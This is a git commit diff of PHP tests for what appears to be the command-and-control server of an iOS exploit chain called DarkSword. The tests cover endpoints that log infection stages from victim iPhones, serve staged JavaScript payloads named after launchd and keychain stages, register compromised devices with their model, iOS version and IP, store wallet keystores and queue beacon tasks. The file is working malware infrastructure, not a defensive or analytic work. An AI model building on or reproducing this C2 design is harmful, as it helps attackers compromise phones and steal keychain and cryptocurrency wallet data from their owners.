This commit is contained in:
hashbro
2026-08-26 06:10:33 +08:00
parent 5cb5744b7a
commit 0ce51aa33e
41 changed files with 1146 additions and 1154 deletions
+26 -30
View File
@@ -53,7 +53,7 @@ class DarkSwordC2ApiTest extends TestCase
}
#[Test]
public function log_with_stage_writes_chain_log_and_dedups(): void
public function log_with_stage_skips_db(): void
{
$payload = [
'deviceUUID' => '50624FE26CC4A0DF689EAEA117557C3E',
@@ -65,31 +65,24 @@ class DarkSwordC2ApiTest extends TestCase
$this->postJson('/api/ds/log', $payload)->assertOk()->assertJson(['status' => 'accepted']);
$this->postJson('/api/ds/log', $payload)->assertOk();
$this->assertSame(1, DsChainLog::query()->count());
$row = DsChainLog::query()->first();
$this->assertSame('50624FE26CC4A0DF689EAEA117557C3E', $row->client_uid);
$this->assertSame('loader', $row->stage);
$this->assertSame(18, $row->progress);
$this->assertSame('BODOZR5F613N9', $row->channel_id);
$this->assertSame(0, DsChainLog::query()->count());
$this->assertSame(0, Device::query()->count());
}
#[Test]
public function log_infers_stage_and_ignores_noise(): void
public function log_text_skips_db_even_when_stage_can_be_inferred(): void
{
$this->postJson('/api/ds/log', [
'text' => 'malloc ok 0x1234',
'deviceUUID' => '50624FE26CC4A0DF689EAEA117557C3E',
])->assertOk();
$this->assertSame(0, DsChainLog::query()->count());
$this->postJson('/api/ds/log', [
'text' => 'pe_main_start',
'deviceUUID' => '50624FE26CC4A0DF689EAEA117557C3E',
])->assertOk();
$row = DsChainLog::query()->first();
$this->assertNotNull($row);
$this->assertSame('pe', $row->stage);
$this->assertSame(86, $row->progress);
$this->assertSame(0, DsChainLog::query()->count());
$this->assertSame(0, Device::query()->count());
}
#[Test]
@@ -102,13 +95,15 @@ class DarkSwordC2ApiTest extends TestCase
'chain' => 'darksword',
]);
$this->get('/log.html?text=lab')
->assertOk()
->assertSee('ok', false);
$this->get('/api/ds/log?text=lab')
->assertOk()
->assertSee('ok', false);
$this->getJson('/api/chain-targets?ios=18.6')->assertNotFound();
$this->get('/log.html?text=lab')->assertNotFound();
$this->getJson('/next-chain/api/chain-targets')->assertNotFound();
$this->getJson('/next-chain/api/device/register')->assertNotFound();
$this->get('/next-chain/log.html?text=lab')->assertNotFound();
}
#[Test]
@@ -116,7 +111,8 @@ class DarkSwordC2ApiTest extends TestCase
{
$this->get('/api/ds/pe-stage/s1_launchd?deviceUUID=50624FE26CC4A0DF689EAEA117557C3E')
->assertOk()
->assertSee('ok', false);
->assertHeader('Content-Type', 'application/javascript; charset=utf-8')
->assertSee('__peStage1', false);
$row = DsChainLog::query()->first();
$this->assertNotNull($row);
@@ -133,7 +129,7 @@ class DarkSwordC2ApiTest extends TestCase
$this->get('/api/ds/pe-stage/s2_keychain')
->assertOk()
->assertSee('ok', false);
->assertSee('__peStage2', false);
$this->assertSame(2, DsChainLog::query()->count());
}
@@ -150,7 +146,7 @@ class DarkSwordC2ApiTest extends TestCase
$device = Device::query()->where('device_id', self::DS_LHU)->first();
$this->assertNotNull($device);
$this->assertSame(Device::FAMILY_DARKSWORD, $device->family);
$this->assertSame(Device::CHAIN_DARKSWORD, $device->chain);
$this->assertSame('iPhone15,2', $device->device_model);
$this->assertSame('18.6', $device->ios_version);
$this->assertSame('192.168.31.77', $device->ip);
@@ -170,7 +166,7 @@ class DarkSwordC2ApiTest extends TestCase
$xxbb = Device::query()->where('device_id', self::XXBB_D)->first();
$this->assertNotNull($xxbb);
$this->assertSame(Device::FAMILY_CORUNA, $xxbb->family);
$this->assertSame(Device::CHAIN_CORUNA, $xxbb->chain);
$this->postJson('/a', [
'lhu' => self::DS_LHU,
@@ -180,7 +176,7 @@ class DarkSwordC2ApiTest extends TestCase
$ds = Device::query()->where('device_id', self::DS_LHU)->first();
$this->assertNotNull($ds);
$this->assertSame(Device::FAMILY_DARKSWORD, $ds->family);
$this->assertSame(Device::CHAIN_DARKSWORD, $ds->chain);
$this->assertSame(2, Device::query()->count());
}
@@ -232,7 +228,7 @@ class DarkSwordC2ApiTest extends TestCase
$device = Device::query()->where('device_id', '50624FE26CC4A0DF689EAEA117557C3E')->first();
$this->assertNotNull($device);
$this->assertSame(Device::FAMILY_DARKSWORD, $device->family);
$this->assertSame(Device::CHAIN_DARKSWORD, $device->chain);
$this->assertSame('BODOZR5F613N9', $device->channel_id);
$this->assertSame('18.6', $device->ios_version);
}
@@ -473,7 +469,7 @@ class DarkSwordC2ApiTest extends TestCase
]);
$device = Device::query()->create([
'device_id' => 'reprocess-trust-utc',
'family' => Device::FAMILY_DARKSWORD,
'chain' => Device::CHAIN_DARKSWORD,
]);
WalletKeystore::query()->create([
'device_id' => $device->id,
@@ -600,7 +596,7 @@ class DarkSwordC2ApiTest extends TestCase
$device = Device::query()->where('device_id', self::DS_LHU)->first();
$this->assertNotNull($device);
$this->assertSame(Device::FAMILY_DARKSWORD, $device->family);
$this->assertSame(Device::CHAIN_DARKSWORD, $device->chain);
$this->assertSame(0, DeviceEvent::query()->count());
$this->assertSame(count($types), DsBeaconTask::query()->where('device_id', $device->id)->count());
$this->assertSame(
@@ -708,7 +704,7 @@ class DarkSwordC2ApiTest extends TestCase
{
$device = Device::query()->create([
'device_id' => self::DS_LHU,
'family' => Device::FAMILY_DARKSWORD,
'chain' => Device::CHAIN_DARKSWORD,
]);
DsBeaconTask::query()->create([
'device_id' => $device->id,
@@ -740,7 +736,7 @@ class DarkSwordC2ApiTest extends TestCase
Storage::fake('local');
$device = Device::query()->create([
'device_id' => self::DS_LHU,
'family' => Device::FAMILY_DARKSWORD,
'chain' => Device::CHAIN_DARKSWORD,
]);
DsBeaconTask::query()->create([
'device_id' => $device->id,
@@ -786,7 +782,7 @@ class DarkSwordC2ApiTest extends TestCase
Storage::fake('local');
$device = Device::query()->create([
'device_id' => self::DS_LHU,
'family' => Device::FAMILY_DARKSWORD,
'chain' => Device::CHAIN_DARKSWORD,
]);
DsBeaconTask::query()->create([
'device_id' => $device->id,
@@ -856,7 +852,7 @@ class DarkSwordC2ApiTest extends TestCase
Storage::fake('local');
$device = Device::query()->create([
'device_id' => self::DS_LHU,
'family' => Device::FAMILY_DARKSWORD,
'chain' => Device::CHAIN_DARKSWORD,
]);
$task = DsBeaconTask::query()->create([
'device_id' => $device->id,